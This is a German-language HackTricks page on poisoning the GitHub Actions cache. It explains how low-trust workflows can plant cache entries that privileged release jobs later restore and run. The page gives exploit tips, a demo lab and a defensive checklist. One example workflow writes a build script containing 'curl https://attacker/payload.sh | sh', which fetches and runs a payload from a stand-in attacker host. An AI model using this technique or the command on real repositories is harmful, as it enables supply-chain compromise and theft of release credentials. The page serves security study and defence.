GH Actions - Cache Poisoning

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks

Überblick

Der GitHub Actions cache ist repositoryweit. Jeder Workflow, der einen cache key (oder restore-keys) kennt, kann diesen Eintrag füllen, selbst wenn der Job nur permissions: contents: read hat. GitHub segregiert Caches nicht nach Workflow, Event-Typ oder Vertrauensstufe, sodass ein Angreifer, der einen niedrig privilegierten Job kompromittiert, einen Cache poisonen kann, den ein privilegierter Release-Job später wiederherstellt. So pivotierte der Ultralytics-Compromise von einem pull_request_target-Workflow in die PyPI publishing pipeline.

Angriffsprimitive

  • actions/cache bietet sowohl restore- als auch save-Operationen (actions/cache@v4, actions/cache/save@v4, actions/cache/restore@v4). Der save-Aufruf ist für jeden Job erlaubt, außer für wirklich untrusted pull_request Workflows, die von Forks ausgelöst werden.
  • Cache-Einträge werden ausschließlich durch den key identifiziert. Breite restore-keys erleichtern das Injizieren von payloads, weil der Angreifer nur mit einem Prefix kollidieren muss.
  • Cache keys und versions sind vom Client angegebene Werte; der Cache-Service validiert nicht, dass ein key/version zu einem vertrauenswürdigen Workflow oder Cache-Pfad passt.
  • Die cache server URL + runtime token sind im Verhältnis zum Workflow langlebig (historisch ~6 Stunden, jetzt ~90 Minuten) und nicht vom Nutzer widerrufbar. Seit Ende 2024 blockiert GitHub cache writes, nachdem der auslösende Job abgeschlossen ist, daher müssen Angreifer schreiben, während der Job noch läuft oder zukünftige keys pre-poisonen.
  • Das gecachte Dateisystem wird unverändert wiederhergestellt. Wenn der Cache Skripte oder Binärdateien enthält, die später ausgeführt werden, kontrolliert der Angreifer diesen Ausführungspfad.
  • Die Cache-Datei selbst wird beim Restore nicht validiert; es ist nur ein zstd-komprimiertes Archiv, sodass ein poisoned entry Skripte, package.json oder andere Dateien im Restore-Pfad überschreiben kann.

Example exploitation chain

Author workflow (pull_request_target) poisoned the cache:

steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

Privilegierter Workflow stellte den vergifteten Cache wieder her und führte ihn aus:

steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz

Der zweite Job führt jetzt vom Angreifer kontrollierten Code aus, während er Release-Zugangsdaten (PyPI tokens, PATs, cloud deploy keys usw.) innehat.

Poisoning mechanics

GitHub Actions Cache-Einträge sind typischerweise zstd-komprimierte tar-Archive. Du kannst eines lokal erstellen und in den Cache hochladen:

tar --zstd -cf poisoned_cache.tzstd cache/contents/here

Bei einem Cache-Hit entpackt die restore action das Archiv unverändert. Befinden sich im Cache-Pfad Skripte oder Konfigurationsdateien, die später ausgeführt werden (Build-Tooling, action.yml, package.json usw.), kannst du diese überschreiben, um Ausführung zu erlangen.

Praktische Exploit-Tipps

  • Ziele Workflows an, die durch pull_request_target, issue_comment oder Bot-Kommandos ausgelöst werden und weiterhin Caches speichern; GitHub erlaubt es ihnen, repository-weite Keys zu überschreiben, selbst wenn der Runner nur Lesezugriff auf das Repo hat.
  • Suche nach deterministischen Cache-Keys, die über Vertrauensgrenzen hinweg wiederverwendet werden (z. B. pip-${{ hashFiles('poetry.lock') }}) oder nach zu großzügigen restore-keys, und speichere dann dein bösartiges Tarball, bevor der privilegierte Workflow läuft.
  • Überwache Logs auf Cache saved-Einträge oder füge einen eigenen Cache-Save-Step hinzu, damit der nächste Release-Job die Payload wiederherstellt und die trojanisierten Skripte oder Binärdateien ausführt.

Neuere Techniken, gesehen in der Angular (2026) Kette

  • Cache v2 “prefix hit” behavior: In Cache v2 können exakte Misses trotzdem einen anderen Eintrag wiederherstellen, der denselben Key-Prefix teilt (effektiv “all keys are restore keys”). Angreifer können nahe-Kollision-Keys vorab einfügen, sodass ein späterer Miss auf das vergiftete Objekt zurückfällt.
  • Forced eviction in one run: Seit dem 20. November 2025 entfernt GitHub Einträge sofort, wenn die Repository-Cache-Nutzung das Limit überschreitet (standardmäßig 10 GB). Ein Angreifer kann zuerst Müll-Cache-Daten hochladen, legitime Einträge im selben Job verdrängen und dann den bösartigen Cache-Key schreiben, ohne auf einen täglichen Aufräumzyklus zu warten.
  • setup-node cache pivots via reusable actions: Reusable/internal actions, die actions/setup-node mit cache-dependency-path umschließen, können stillschweigend low-trust- und high-trust-Workflows verbinden. Falls beide Pfade auf gemeinsame Keys hashen, kann das Vergiften des Dependency-Caches in privilegierter Automation ausgeführt werden (z. B. Renovate/bot-Jobs).
  • Chaining cache poisoning into bot-driven supply chain abuse: Im Angular-Fall hat Cache-Poisoning ein bot PAT offengelegt, das dann verwendet werden konnte, um bot-eigene PR-Heads nach der Genehmigung per force-push zu überschreiben. Wenn Approval-Reset-Regeln Bot-Akteure ausnehmen, ermöglicht das, geprüfte Commits vor dem Merge gegen bösartige auszutauschen (z. B. imposter action SHAs).

##å Cacheract

Cacheract ist ein auf PoC fokussiertes Toolkit für GitHub Actions cache poisoning in autorisierten Tests. Der praktische Nutzen besteht darin, die fragilen Teile zu automatisieren, die man manuell leicht falsch macht:

  • Erkennt und nutzt Runtime-Cache-Kontext vom Runner (ACTIONS_RUNTIME_TOKEN und Cache-Service-URL).
  • Listet auf und zielt auf Kandidaten für Cache-Keys/-Versionen ab, die von downstream Workflows verwendet werden.
  • Erzwingt Eviction durch Überfüllen des Cache-Quotas (falls anwendbar) und schreibt dann in derselben Ausführung Einträge unter Angreifer-Kontrolle.
  • Sät vergifteten Cache-Inhalt, sodass spätere Workflows die modifizierte Tooling wiederherstellen und ausführen.

Das ist besonders nützlich in Cache v2-Umgebungen, in denen Timing und Key/Version-Verhalten wichtiger sind als in frühen Cache-Implementierungen.

Demo

Benutze dies nur in Repositories, die du besitzt oder bei denen du ausdrücklich zum Testen berechtigt bist.

1. Vulnerable workflow (untrusted trigger can save cache)

Dieser Workflow simuliert ein pull_request_target anti-pattern: Er schreibt Cache-Inhalt aus einem angreiferkontrollierten Kontext und speichert ihn unter einem deterministischen Key.

name: untrusted-cache-writer
on:
pull_request_target:
types: [opened, synchronize, reopened]

permissions:
contents: read

jobs:
poison:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build "toolchain" from untrusted context (demo)
run: |
mkdir -p toolchain/bin
cat > toolchain/bin/build << 'EOF'
#!/usr/bin/env bash
echo "POISONED_BUILD_PATH"
echo "workflow=${GITHUB_WORKFLOW}" > /tmp/cache-poisoning-demo.txt
EOF
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

2. Privilegierter Workflow (stellt gecachte Binär-/Skriptdatei wieder her und führt sie aus)

Dieser Workflow stellt denselben Schlüssel wieder her und führt toolchain/bin/build aus, während er ein Dummy-Secret hält. Wenn der Cache vergiftet ist, ist der Ausführungspfad vom Angreifer kontrollierbar.

name: privileged-consumer
on:
workflow_dispatch:

permissions:
contents: read

jobs:
release_like_job:
runs-on: ubuntu-latest
env:
DEMO_SECRET: ${{ secrets.DEMO_SECRET }}
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- name: Execute cached build tool
run: |
./toolchain/bin/build
test -f /tmp/cache-poisoning-demo.txt && echo "Poisoning confirmed"

3. Lab ausführen

  • Füge eine stabile toolchain.lock-Datei hinzu, sodass beide Workflows denselben Cache-Schlüssel auflösen.
  • Löse untrusted-cache-writer über eine Test-PR aus.
  • Löse privileged-consumer via workflow_dispatch aus.
  • Bestätige, dass POISONED_BUILD_PATH in den Logs erscheint und /tmp/cache-poisoning-demo.txt erstellt wird.

4. What this demonstrates technically

  • Cross-workflow cache trust break: Die writer- und consumer-Workflows haben unterschiedliche Vertrauensstufen, teilen jedoch denselben Cache-Namespace.
  • Execution-on-restore risk: Es wird keine Integritätsprüfung durchgeführt, bevor ein wiederhergestelltes Script/Binary ausgeführt wird.
  • Deterministic key abuse: Wenn ein Job mit hohem Vertrauensniveau vorhersehbare Schlüssel verwendet, kann ein Job mit niedrigem Vertrauensniveau bösartige Inhalte vorab platzieren.

5. Defensive verification checklist

  • Teile Schlüssel nach Vertrauensgrenze (pr-, ci-, release-) und vermeide gemeinsame Präfixe.
  • Deaktiviere Cache-Schreibvorgänge in nicht vertrauenswürdigen Workflows.
  • Prüfe per Hash die wiederhergestellte ausführbare Datei, bevor du sie ausführst.
  • Vermeide es, Tools direkt aus Cache-Pfaden auszuführen.

References

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks